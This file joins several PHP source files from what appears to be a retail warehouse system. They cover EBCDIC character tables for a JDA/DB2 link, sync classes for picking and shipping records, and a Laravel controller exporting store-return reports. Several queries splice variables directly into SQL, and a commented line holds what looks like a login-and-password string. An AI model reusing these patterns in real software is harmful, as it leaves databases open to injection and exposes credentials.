$ebcdic[0x61]=0x20; # used to be 0x1A
$ebcdic[0x62]=0x20; # used to be 0x1A
$ebcdic[0x63]=0x20; # used to be 0x1A
$ebcdic[0x64]=0x20; # used to be 0x1A
$ebcdic[0x65]=0x20; # used to be 0x1A
$ebcdic[0x66]=0x20; # used to be 0x1A
$ebcdic[0x67]=0x20; # used to be 0x1A
$ebcdic[0x68]=0x20; # used to be 0x1A
$ebcdic[0x69]=0x20; # used to be 0x1A
$ebcdic[0x6A]=0x7C;
$ebcdic[0x6B]=0x2C;
$ebcdic[0x6C]=0x25;
$ebcdic[0x6D]=0x5F;
$ebcdic[0x6E]=0x3E;
$ebcdic[0x6F]=0x3F;
$ebcdic[0x70]=0x20; # used to be 0x1A
$ebcdic[0x71]=0x20; # used to be 0x1A
$ebcdic[0x72]=0x20; # used to be 0x1A
$ebcdic[0x73]=0x20; # used to be 0x1A
$ebcdic[0x74]=0x20; # used to be 0x1A
$ebcdic[0x75]=0x20; # used to be 0x1A
$ebcdic[0x76]=0x20; # used to be 0x1A
$ebcdic[0x77]=0x20; # used to be 0x1A
$ebcdic[0x78]=0x20; # used to be 0x1A
$ebcdic[0x79]=0x60;
$ebcdic[0x7A]=0x3A;
$ebcdic[0x7B]=0x23;
$ebcdic[0x7C]=0x40;
$ebcdic[0x7D]=0x27;
$ebcdic[0x7E]=0x3D;
$ebcdic[0x7F]=0x22;
$ebcdic[0x80]=0x20; # used to be 0x1A
$ebcdic[0x81]=0x61;
$ebcdic[0x82]=0x62;
$ebcdic[0x83]=0x63;
$ebcdic[0x84]=0x64;
$ebcdic[0x85]=0x65;
$ebcdic[0x86]=0x66;
$ebcdic[0x87]=0x67;
$ebcdic[0x88]=0x68;
$ebcdic[0x89]=0x69;
$ebcdic[0x8A]=0x20; # used to be 0x1A
$ebcdic[0x8B]=0x20; # used to be 0x1A
$ebcdic[0x8C]=0x20; # used to be 0x1A
$ebcdic[0x8D]=0x20; # used to be 0x1A
$ebcdic[0x8E]=0x20; # used to be 0x1A
$ebcdic[0x8F]=0x20; # used to be 0x1A
$ebcdic[0x90]=0x20; # used to be 0x1A
$ebcdic[0x91]=0x6A;
$ebcdic[0x92]=0x6B;
$ebcdic[0x93]=0x6C;
$ebcdic[0x94]=0x6D;
$ebcdic[0x95]=0x6E;
$ebcdic[0x96]=0x6F;
$ebcdic[0x97]=0x70;
$ebcdic[0x98]=0x71;
$ebcdic[0x99]=0x72;
$ebcdic[0x9A]=0x20; # used to be 0x1A
$ebcdic[0x9B]=0x20; # used to be 0x1A
$ebcdic[0x9C]=0x20; # used to be 0x1A
$ebcdic[0x9D]=0x20; # used to be 0x1A
$ebcdic[0x9E]=0x20; # used to be 0x1A
$ebcdic[0x9F]=0x20; # used to be 0x1A
$ebcdic[0xA0]=0x20; # used to be 0x1A
$ebcdic[0xA1]=0x7E;
$ebcdic[0xA2]=0x73;
$ebcdic[0xA3]=0x74;
$ebcdic[0xA4]=0x75;
$ebcdic[0xA5]=0x76;
$ebcdic[0xA6]=0x77;
$ebcdic[0xA7]=0x78;
$ebcdic[0xA8]=0x79;
$ebcdic[0xA9]=0x7A;
$ebcdic[0xAA]=0x20; # used to be 0x1A
$ebcdic[0xAB]=0x20; # used to be 0x1A
$ebcdic[0xAC]=0x20; # used to be 0x1A
$ebcdic[0xAD]=0x20; # used to be 0x1A
$ebcdic[0xAE]=0x20; # used to be 0x1A
$ebcdic[0xAF]=0x20; # used to be 0x1A
$ebcdic[0xB0]=0x20; # used to be 0x1A
$ebcdic[0xB1]=0x20; # used to be 0x1A
$ebcdic[0xB2]=0x20; # used to be 0x1A
$ebcdic[0xB3]=0x20; # used to be 0x1A
$ebcdic[0xB4]=0x20; # used to be 0x1A
$ebcdic[0xB5]=0x20; # used to be 0x1A
$ebcdic[0xB6]=0x20; # used to be 0x1A
$ebcdic[0xB7]=0x20; # used to be 0x1A
$ebcdic[0xB8]=0x20; # used to be 0x1A
$ebcdic[0xB9]=0x20; # used to be 0x1A
$ebcdic[0xBA]=0x20; # used to be 0x1A
$ebcdic[0xBB]=0x20; # used to be 0x1A
$ebcdic[0xBC]=0x20; # used to be 0x1A
$ebcdic[0xBD]=0x20; # used to be 0x1A
$ebcdic[0xBE]=0x20; # used to be 0x1A
$ebcdic[0xBF]=0x20; # used to be 0x1A
$ebcdic[0xC0]=0x7B;
$ebcdic[0xC1]=0x41;
$ebcdic[0xC2]=0x42;
$ebcdic[0xC3]=0x43;
$ebcdic[0xC4]=0x44;
$ebcdic[0xC5]=0x45;
$ebcdic[0xC6]=0x46;
$ebcdic[0xC7]=0x47;
$ebcdic[0xC8]=0x48;
$ebcdic[0xC9]=0x49;
$ebcdic[0xCA]=0x20; # used to be 0x1A
$ebcdic[0xCB]=0x20; # used to be 0x1A
$ebcdic[0xCC]=0x20; # used to be 0x1A
$ebcdic[0xCD]=0x20; # used to be 0x1A
$ebcdic[0xCE]=0x20; # used to be 0x1A
$ebcdic[0xCF]=0x20; # used to be 0x1A
$ebcdic[0xD0]=0x7D;
$ebcdic[0xD1]=0x4A;
$ebcdic[0xD2]=0x4B;
$ebcdic[0xD3]=0x4C;
$ebcdic[0xD4]=0x4D;
$ebcdic[0xD5]=0x4E;
$ebcdic[0xD6]=0x4F;
$ebcdic[0xD7]=0x50;
$ebcdic[0xD8]=0x51;
$ebcdic[0xD9]=0x52;
$ebcdic[0xDA]=0x20; # used to be 0x1A
$ebcdic[0xDB]=0x20; # used to be 0x1A
$ebcdic[0xDC]=0x20; # used to be 0x1A
$ebcdic[0xDD]=0x20; # used to be 0x1A
$ebcdic[0xDE]=0x20; # used to be 0x1A
$ebcdic[0xDF]=0x20; # used to be 0x1A
$ebcdic[0xE0]=0x5C;
$ebcdic[0xE1]=0x20; # used to be 0x1A
$ebcdic[0xE2]=0x53;
$ebcdic[0xE3]=0x54;
$ebcdic[0xE4]=0x55;
$ebcdic[0xE5]=0x56;
$ebcdic[0xE6]=0x57;
$ebcdic[0xE7]=0x58;
$ebcdic[0xE8]=0x59;
$ebcdic[0xE9]=0x5A;
$ebcdic[0xEA]=0x20; # used to be 0x1A
$ebcdic[0xEB]=0x20; # used to be 0x1A
$ebcdic[0xEC]=0x20; # used to be 0x1A
$ebcdic[0xED]=0x20; # used to be 0x1A
$ebcdic[0xEE]=0x20; # used to be 0x1A
$ebcdic[0xEF]=0x20; # used to be 0x1A
$ebcdic[0xF0]=0x30;
$ebcdic[0xF1]=0x31;
$ebcdic[0xF2]=0x32;
$ebcdic[0xF3]=0x33;
$ebcdic[0xF4]=0x34;
$ebcdic[0xF5]=0x35;
$ebcdic[0xF6]=0x36;
$ebcdic[0xF7]=0x37;
$ebcdic[0xF8]=0x38;
$ebcdic[0xF9]=0x39;
$ebcdic[0xFA]=0x20; # used to be 0x1A
$ebcdic[0xFB]=0x20; # used to be 0x1A
$ebcdic[0xFC]=0x20; # used to be 0x1A
$ebcdic[0xFD]=0x20; # used to be 0x1A
$ebcdic[0xFE]=0x20; # used to be 0x1A
$ebcdic[0xFF]=0x20; # used to be 0x1A
$ascii[ 0]=0x00;
$ascii[ 1]=0x01;
$ascii[ 2]=0x02;
$ascii[ 3]=0x03;
$ascii[ 4]=0x37;
$ascii[ 5]=0x2D;
$ascii[ 6]=0x2E;
$ascii[ 7]=0x2F;
$ascii[ 8]=0x16;
$ascii[ 9]=0x05;
$ascii[ 10]=0x25;
$ascii[ 11]=0x0B;
$ascii[ 12]=0x0C;
$ascii[ 13]=0x0D;
$ascii[ 14]=0x0E;
$ascii[ 15]=0x0F;
$ascii[ 16]=0x10;
$ascii[ 17]=0x11;
$ascii[ 18]=0x12;
$ascii[ 19]=0x13;
$ascii[ 20]=0x3C;
$ascii[ 21]=0x3D;
$ascii[ 22]=0x32;
$ascii[ 23]=0x26;
$ascii[ 24]=0x18;
$ascii[ 25]=0x19;
$ascii[ 26]=0x3F;
$ascii[ 27]=0x27;
$ascii[ 28]=0x1C;
$ascii[ 29]=0x1D;
$ascii[ 30]=0x1E;
$ascii[ 31]=0x1F;
$ascii[ 32]=0x40;
$ascii[ 33]=0x4F;
$ascii[ 34]=0x7F;
$ascii[ 35]=0x7B;
$ascii[ 36]=0x5B;
$ascii[ 37]=0x6C;
$ascii[ 38]=0x50;
$ascii[ 39]=0x7D;
$ascii[ 40]=0x4D;
$ascii[ 41]=0x5D;
$ascii[ 42]=0x5C;
$ascii[ 43]=0x4E;
$ascii[ 44]=0x6B;
$ascii[ 45]=0x60;
$ascii[ 46]=0x4B;
$ascii[ 47]=0x61;
$ascii[ 48]=0xF0;
$ascii[ 49]=0xF1;
$ascii[ 50]=0xF2;
$ascii[ 51]=0xF3;
$ascii[ 52]=0xF4;
$ascii[ 53]=0xF5;
$ascii[ 54]=0xF6;
$ascii[ 55]=0xF7;
$ascii[ 56]=0xF8;
$ascii[ 57]=0xF9;
$ascii[ 58]=0x7A;
$ascii[ 59]=0x5E;
$ascii[ 60]=0x4C;
$ascii[ 61]=0x7E;
$ascii[ 62]=0x6E;
$ascii[ 63]=0x6F;
$ascii[ 64]=0x7C;
$ascii[ 65]=0xC1;
$ascii[ 66]=0xC2;
$ascii[ 67]=0xC3;
$ascii[ 68]=0xC4;
$ascii[ 69]=0xC5;
$ascii[ 70]=0xC6;
$ascii[ 71]=0xC7;
$ascii[ 72]=0xC8;
$ascii[ 73]=0xC9;
$ascii[ 74]=0xD1;
$ascii[ 75]=0xD2;
$ascii[ 76]=0xD3;
$ascii[ 77]=0xD4;
$ascii[ 78]=0xD5;
$ascii[ 79]=0xD6;
$ascii[ 80]=0xD7;
$ascii[ 81]=0xD8;
$ascii[ 82]=0xD9;
$ascii[ 83]=0xE2;
$ascii[ 84]=0xE3;
$ascii[ 85]=0xE4;
$ascii[ 86]=0xE5;
$ascii[ 87]=0xE6;
$ascii[ 88]=0xE7;
$ascii[ 89]=0xE8;
$ascii[ 90]=0xE9;
$ascii[ 91]=0x4A;
$ascii[ 92]=0xE0;
$ascii[ 93]=0x5A;
$ascii[ 94]=0x5F;
$ascii[ 95]=0x6D;
$ascii[ 96]=0x79;
$ascii[ 97]=0x81;
$ascii[ 98]=0x82;
$ascii[ 99]=0x83;
$ascii[ 100]=0x84;
$ascii[ 101]=0x85;
$ascii[ 102]=0x86;
$ascii[ 103]=0x87;
$ascii[ 104]=0x88;
$ascii[ 105]=0x89;
$ascii[ 106]=0x91;
$ascii[ 107]=0x92;
$ascii[ 108]=0x93;
$ascii[ 109]=0x94;
$ascii[ 110]=0x95;
$ascii[ 111]=0x96;
$ascii[ 112]=0x97;
$ascii[ 113]=0x98;
$ascii[ 114]=0x99;
$ascii[ 115]=0xA2;
$ascii[ 116]=0xA3;
$ascii[ 117]=0xA4;
$ascii[ 118]=0xA5;
$ascii[ 119]=0xA6;
$ascii[ 120]=0xA7;
$ascii[ 121]=0xA8;
$ascii[ 122]=0xA9;
$ascii[ 123]=0xC0;
$ascii[ 124]=0x6A;
$ascii[ 125]=0xD0;
$ascii[ 126]=0xA1;
$ascii[ 127]=0x07;
$ascii[ 128]=0x20;
$ascii[ 129]=0x21;
$ascii[ 130]=0x22;
$ascii[ 131]=0x23;
$ascii[ 132]=0x24;
$ascii[ 133]=0x15;
$ascii[ 134]=0x06;
$ascii[ 135]=0x17;
$ascii[ 136]=0x28;
$ascii[ 137]=0x29;
$ascii[ 138]=0x2A;
$ascii[ 139]=0x2B;
$ascii[ 140]=0x2C;
$ascii[ 141]=0x09;
$ascii[ 142]=0x0A;
$ascii[ 143]=0x1B;
$ascii[ 144]=0x30;
$ascii[ 145]=0x31;
$ascii[ 146]=0x1A;
$ascii[ 147]=0x33;
$ascii[ 148]=0x34;
$ascii[ 149]=0x35;
$ascii[ 150]=0x36;
$ascii[ 151]=0x08;
$ascii[ 152]=0x38;
$ascii[ 153]=0x39;
$ascii[ 154]=0x3A;
$ascii[ 155]=0x3B;
$ascii[ 156]=0x04;
$ascii[ 157]=0x14;
$ascii[ 158]=0x3E;
$ascii[ 159]=0xE1;
$ascii[ 160]=0x41;
$ascii[ 161]=0x42;
$ascii[ 162]=0x43;
$ascii[ 163]=0x44;
$ascii[ 164]=0x45;
$ascii[ 165]=0x46;
$ascii[ 166]=0x47;
$ascii[ 167]=0x48;
$ascii[ 168]=0x49;
$ascii[ 169]=0x51;
$ascii[ 170]=0x52;
$ascii[ 171]=0x53;
$ascii[ 172]=0x54;
$ascii[ 173]=0x55;
$ascii[ 174]=0x56;
$ascii[ 175]=0x57;
$ascii[ 176]=0x58;
$ascii[ 177]=0x59;
$ascii[ 178]=0x62;
$ascii[ 179]=0x63;
$ascii[ 180]=0x64;
$ascii[ 181]=0x65;
$ascii[ 182]=0x66;
$ascii[ 183]=0x67;
$ascii[ 184]=0x68;
$ascii[ 185]=0x69;
$ascii[ 186]=0x70;
$ascii[ 187]=0x71;
$ascii[ 188]=0x72;
$ascii[ 189]=0x73;
$ascii[ 190]=0x74;
$ascii[ 191]=0x75;
$ascii[ 192]=0x76;
$ascii[ 193]=0x77;
$ascii[ 194]=0x78;
$ascii[ 195]=0x80;
$ascii[ 196]=0x8A;
$ascii[ 197]=0x8B;
$ascii[ 198]=0x8C;
$ascii[ 199]=0x8D;
$ascii[ 200]=0x8E;
$ascii[ 201]=0x8F;
$ascii[ 202]=0x90;
$ascii[ 203]=0x9A;
$ascii[ 204]=0x9B;
$ascii[ 205]=0x9C;
$ascii[ 206]=0x9D;
$ascii[ 207]=0x9E;
$ascii[ 208]=0x9F;
$ascii[ 209]=0xA0;
$ascii[ 210]=0xAA;
$ascii[ 211]=0xAB;
$ascii[ 212]=0xAC;
$ascii[ 213]=0xAD;
$ascii[ 214]=0xAE;
$ascii[ 215]=0xAF;
$ascii[ 216]=0xB0;
$ascii[ 217]=0xB1;
$ascii[ 218]=0xB2;
$ascii[ 219]=0xB3;
$ascii[ 220]=0xB4;
$ascii[ 221]=0xB5;
$ascii[ 222]=0xB6;
$ascii[ 223]=0xB7;
$ascii[ 224]=0xB8;
$ascii[ 225]=0xB9;
$ascii[ 226]=0xBA;
$ascii[ 227]=0xBB;
$ascii[ 228]=0xBC;
$ascii[ 229]=0xBD;
$ascii[ 230]=0xBE;
$ascii[ 231]=0xBF;
$ascii[ 232]=0xCA;
$ascii[ 233]=0xCB;
$ascii[ 234]=0xCC;
$ascii[ 235]=0xCD;
$ascii[ 236]=0xCE;
$ascii[ 237]=0xCF;
$ascii[ 238]=0xDA;
$ascii[ 239]=0xDB;
$ascii[ 240]=0xDC;
$ascii[ 241]=0xDD;
$ascii[ 242]=0xDE;
$ascii[ 243]=0xDF;
$ascii[ 244]=0xEA;
$ascii[ 245]=0xEB;
$ascii[ 246]=0xEC;
$ascii[ 247]=0xED;
$ascii[ 248]=0xEE;
$ascii[ 249]=0xEF;
$ascii[ 250]=0xFA;
$ascii[ 251]=0xFB;
$ascii[ 252]=0xFC;
$ascii[ 253]=0xFD;
$ascii[ 254]=0xFE;
$ascii[ 255]=0xFF;
/*
# uncomment for self validation;
foreach($ebcdic as $key=>$val){
$code = urlencode($key);
$char = chr($val);
echo "$code => $char \n";
}
*/
#echo urlencode(myasciitoebcdic("SMPOPER2 PASSWORD"));
#$reply = "004a12a00000040000000000880040d9708006000101000000000000000000000000000000000001f5f2f5f1f0f1f1020000002424000100000000011100000708000000000000000000ff";
#echo urlencode(hexto5250($reply));
?><file_sep><?php
require_once(__DIR__.'/../config/config.php');
require_once(__DIR__ . '/../db_connection/db_connection.php');
require_once(__DIR__.'/../jda_connection/jda_connection.php');
class DB_function_subloc_shipping {
private $jda;
function __construct()
{
$config = mysql_credentials();
$this->sql_conn = new Sqlconnect($config['hostname'], $config['database'], $config['username'], $config['password']);
$this->jda = new JDAConnect();
$this->jda->connect();
}
public function Connect() {
return $this->sql_conn->Connect();
}
public function getLoadCodeShipSubloc()
{
$query = "SELECT move_doc_number from wms_store_return_pickinglist where pl_status = '18' and sync_to_jda = '1'";
return $this->sql_conn->runQuery($query);
}
/*public function getShippingSubloc($loadCode) {
$query = "SELECT wms_picklist.transfer_no as move_doc_number FROM wms_picklist where move_doc_number=94";
$query = "SELECT wms_store_return_pickinglist.move_doc_number
FROM wms_load
left join wms_load_details on wms_load_details.load_code = wms_load.load_code
left join wms_box on wms_load_details.box_number = wms_box.box_code
left join wms_store_return_pickinglist on wms_box.tl_number = wms_store_return_pickinglist.move_doc_number
where wms_load.tagging_load=2 and wms_load.load_code='$loadCode' GROUP by wms_store_return_pickinglist.move_doc_number";
return $this->sql_conn->runQuery($query);
}*/
/* public function JDAUpdateWHShipping($whmove) {
return $this->jda->runDb2Query($query);
}*/
public function updateIsSyncedShipping($mts_no) {
$query = " UPDATE wms_store_return_pickinglist set sync_to_jda = '2' where move_doc_number = '$mts_no' and pl_status= '18'";
return $this->sql_conn->updateQuery($query);
}
}<file_sep><?php
include_once("jda_modules.php");
$module = new jdaModules();
$flagCarton = $module->maintainingCartonHeader();
if($flagCarton)
{
$flagPallet = $module->maintainingPalletHeader();
if($flagPallet)
{
$flagLoad = $module->maintainingLoadHeader();
if($flagLoad)
{
$flagCartonToPallet = $module->assigningCartonToPallet();
if($flagCartonToPallet)
{
$module->loading();
}
}
}
}<file_sep><?php
return array(
'heading_title' => 'Slot Master List',
'label_filter_slot_no' => 'Slot No.:',
'col_id' => 'No.',
'col_slot_no' => 'Slot No.',
'col_zone_no' => 'Zone No.',
'col_store_no' => 'Store Code',
);<file_sep><?php
class StoresSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
Store::truncate();
Store::create(array(
"store_name" => 'Family Mart Buendia',
"store_code" => 'ST1',
));
Store::create(array(
"store_name" => 'Family Mart Glorrieta',
"store_code" => 'ST2',
));
Store::create(array(
"store_name" => 'Family Mart Calamba',
"store_code" => 'ST3',
));
}
}<file_sep><?php
require_once(__DIR__.'/../config/config.php');
require_once(__DIR__ . '/../db_connection/db_connection.php');
require_once(__DIR__.'/../jda_connection/jda_connection.php');
class DB_sublock_pick_function {
private $jda;
function __construct()
{
$config = mysql_credentials();
$this->sql_conn = new Sqlconnect($config['hostname'], $config['database'], $config['username'], $config['password']);
$this->jda = new JDAConnect();
$this->jda->connect();
}
public function Connect() {
return $this->sql_conn->Connect();
}
public function getClosedSublocPicking() {
$query = "SELECT move_doc_number from wms_store_return_pickinglist where pl_status=18 and sync_to_jda = '0'";
return $this->sql_conn->runQuery($query);
}
public function getQtySublocPicked($mts_no) {
$query = " SELECT wms_product_lists.sku, moved_qty
from wms_store_return_pick_details
left join wms_product_lists on wms_store_return_pick_details.sku = wms_product_lists.upc
where move_doc_number ='$mts_no'";
return $this->sql_conn->runQuery($query);
}
public function JDAUpdateSublocPickedQty($whmove, $inumbr, $qty) {
$query = "UPDATE ".$this->jda->getLibrary().". trfdtl
SET trfalc = ".$qty."
WHERE trfbch = ".$whmove."
AND inumbr ='".$inumbr."'";
return $this->jda->runDb2Query($query);
}
public function updateIsSyncedSubloc($doc_no) {
$query = " UPDATE wms_store_return_pickinglist set sync_to_jda ='1' where move_doc_number = '$doc_no'";
return $this->sql_conn->updateQuery($query);
}
}<file_sep><?php
class StoreReturnController extends BaseController {
private $data = array();
protected $layout = "layouts.main";
public function __construct() {
date_default_timezone_set('Asia/Manila');
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
}
public function showIndex() {
// Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanAccessStoreReturn', unserialize(Session::get('permissions')))) {
return Redirect::to('user/profile');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function exportCSV() {
// Check Permissions
$this->data = Lang::get('store_return');
$filter_doc_no = Input::get('filter_doc_no', null);
$arrParams = array(
'filter_so_no' => Input::get('filter_so_no', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_store_name' => Input::get('filter_store_name', NULL),
'filter_created_at' => Input::get('filter_created_at',NULL),
'filter_status' => Input::get('filter_status', NULL),
'sort' => Input::get('sort', 'so_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = StoreReturn::getSOListReport($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('store_return.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('stock_transfer_mts_received_' . date('Ymd') . '.pdf');
}
public function exportCSVMTSdicrepancy() {
// Check Permissions
$this->data = Lang::get('store_return');
$filter_doc_no = Input::get('filter_doc_no', null);
$arrParams = array(
'filter_so_no' => Input::get('filter_so_no', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_store_name' => Input::get('filter_store_name', NULL),
'filter_created_at' => Input::get('filter_created_at',NULL),
'filter_status' => Input::get('filter_status', NULL),
'sort' => Input::get('sort', 'so_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = StoreReturn::getSOListReport($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('store_return.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('stock_transfer_mts_received_' . date('Ymd') . '.pdf');
}
public function exportDetailsCSV() {
///Check Permissions
if (Session::has('permissions')) {
if (!in_array('CanExportStoreReturn', unserialize(Session::get('permissions')))) {
return Redirect::to('store_return' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
if (StoreReturn::find(Input::get('id', NULL))!=NULL) {
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store_name = Input::get('filter_store_name', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
$this->data = Lang::get('store_return');
$this->data['so_status_type'] = Dataset::getTypeWithValue("SR_STATUS_TYPE");
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'id' => $so_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'so_no' => $so_no,
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'limit' => NULL
);
$so_info = StoreReturn::getSOInfo($so_id);
$results = StoreReturnDetail::getSODetails($so_info->so_no, $arrParams)->toArray();
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('store_return.report_detail', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('store_return_detail_' . date('Ymd') . '.pdf');
}
}
public function getSODetails() {
if (Session::has('permissions')) {
if (!in_array('CanAccessStoreReturn', unserialize(Session::get('permissions')))) {
return Redirect::to('store_return');
} elseif (StoreReturn::find(Input::get('id', NULL))==NULL) {
return Redirect::to('store_return')->with('error', Lang::get('store_return.error_so_details'));
}
} else {
return Redirect::to('users/logout');
}
$this->data = Lang::get('store_return');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_export'] = Lang::get('general.button_export');
// URL
$this->data['url_export'] = URL::to('store_return/export_detail');
$this->data['url_back'] = URL::to('store_return' . $this->setURL(false, true));
$this->data['url_assign'] = URL::to('store_return/assign');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Options
// Search Options
$this->data['so_status_type'] = Dataset::getTypeWithValue("SR_STATUS_TYPE");
$store_list = StoreReturn::getStoreList();
if(CommonHelper::arrayHasValue($store_list)) {
foreach($store_list as $store){
$this->data['store_list'][$store] = $store;
}
}
else {
$this->data['store_list'][] = NULL;
}
// Search Filters
$filter_so_no = Input::get('filter_so_no', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_created_at = Input::get('filter_created_at', NULL);
$filter_status = Input::get('filter_status', NULL);
//for back
$sort_back = Input::get('sort_back', 'so_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
//Data
$so_id = Input::get('id', NULL);
$so_no = Input::get('so_no', NULL);
//pulling data to other pages
$fullname = Input::get('fullname', null);
$created_at = Input::get('created_at', null);
$fromStore=Input::get('fromStore', Null);
$this->data['so_info'] = StoreReturn::getSOInfo($so_id);
$arrParams = array(
'id' => $so_id,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'so_no' => $so_no,
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'limit' => 30
);
$results = StoreReturnDetail::getSODetails($so_no, $arrParams)->toArray();
$results_total = StoreReturnDetail::getCountSODetails($so_no, $arrParams);
// Pagination
$this->data['arrFilters'] = array(
'filter_so_no' => $filter_so_no,
'filter_store' => $filter_store,
'filter_created_at' => $filter_created_at,
'filter_status' => $filter_status,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'id' => $so_id,
'so_no' => $so_no,
'sort' => $sort_detail,
'order' => $order_detail,
'fullname' => $fullname,
'created_at' => $created_at,
'fromStore' => $fromStore
);
$this->data['store_return'] = Paginator::make($results, $results_total, 30);
$this->data['store_return_count'] = $results_total;
$this->data['counter'] = $this->data['store_return']->getFrom();
// Main
$this->data['filter_so_no'] = $filter_so_no;
$this->data['filter_store'] = $filter_store;
$this->data['filter_created_at'] = $filter_created_at;
$this->data['filter_status'] = $filter_status;
$this->data['fullname'] = $fullname;
$this->data['created_at'] =$created_at;
$this->data['fromStore'] =$fromStore;
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
// Details
$this->data['sort_detail'] = $sort_detail;
$this->data['order_detail'] = $order_detail;
$this->data['page_detail'] = $page_detail;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
$url = '?filter_so_no=' . $filter_so_no . '&filter_store=' . $filter_store;
$url .= '&filter_created_at=' . $filter_created_at;
$url .= '&filter_status=' . $filter_status;
$url .= '&sort_back=' . $sort_back . '&order_back=' . $order_back . '&page_back=' . $page_back;
$url .= '&page_detail=' . $page_detail . '&id=' . $so_id . '&so_no=' . $so_no;
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort_detail=='upc' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_short_name = ($sort_detail=='short_name' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_delivered_quantity = ($sort_detail=='delivered_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_allocated_quantity = ($sort_detail=='allocated_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_dispatched_quantity = ($sort_detail=='dispatched_quantity' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_sku'] = URL::to('store_return/detail' . $url . '&sort=sku&order=' . $order_sku, NULL, FALSE);
$this->data['sort_upc'] = URL::to('store_return/detail' . $url . '&sort=upc&order=' . $order_upc, NULL, FALSE);
$this->data['sort_short_name'] = URL::to('store_return/detail' . $url . '&sort=short_name&order=' . $order_short_name, NULL, FALSE);
$this->data['sort_delivered_quantity'] = URL::to('store_return/detail' . $url . '&sort=delivered_quantity&order=' . $order_delivered_quantity, NULL, FALSE);
$this->data['sort_allocated_quantity'] = URL::to('store_return/detail' . $url . '&sort=allocated_quantity&order=' . $order_allocated_quantity, NULL, FALSE);
$this->data['sort_dispatched_quantity'] = URL::to('store_return/detail' . $url . '&sort=dispatched_quantity&order=' . $order_dispatched_quantity, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('store_return.detail', $this->data);
}
public function getReportNewExcel()
{
Excel::create('MTS_Receiving'. date('Ymd'), function($excel){
$filter_doc_no = Input::get('filter_doc_no', null);
$arrParams = array(
'filter_so_no' => Input::get('filter_so_no', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_store_name' => Input::get('filter_store_name', NULL),
'filter_created_at' => Input::get('filter_created_at',NULL),
'filter_status' => Input::get('filter_status', NULL),
'sort' => Input::get('sort', 'so_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = StoreReturn::getSOListReport($arrParams);
$this->data['results'] = $results;
// foreach ($query as $keyvalue)
{
$excel->sheet('MTS Receiving', function($sheet) use ($results)
{
$sheet->setStyle(array(
'font' => array(
'name' => 'Calibri',
'size' => 11,
'bold' => false,
'border' => 0
)
));
$sheet->setPageMargin(array(
0.25, 1, 0.25, 1
));
$sheet->mergeCells('A1:I2');
$sheet->setCellValue('A1', 'RSCI - MTS Receiving Report');
$sheet->setBorder('A1:I2', 'thin');
$sheet->cell('A1', function($cell){
$cell->setFontWeight('bold');
$cell->setAlignment('center');
});
$sheet->setWidth("C", 20);
$sheet->setWidth("B", 10);
$sheet->setWidth("E", 10);
$header = array();
$header['A'] = 'MTS no.';
$header['B'] = 'SKU';
$header['C'] = "UPC";
$header['D'] = "Description";
$header['E'] = "From ";
$header['F'] = "To";
$header['G'] = "Delivery Date";
$header['H'] = "Stock Piler";
$header['I'] = "Variance";
$start = 3;
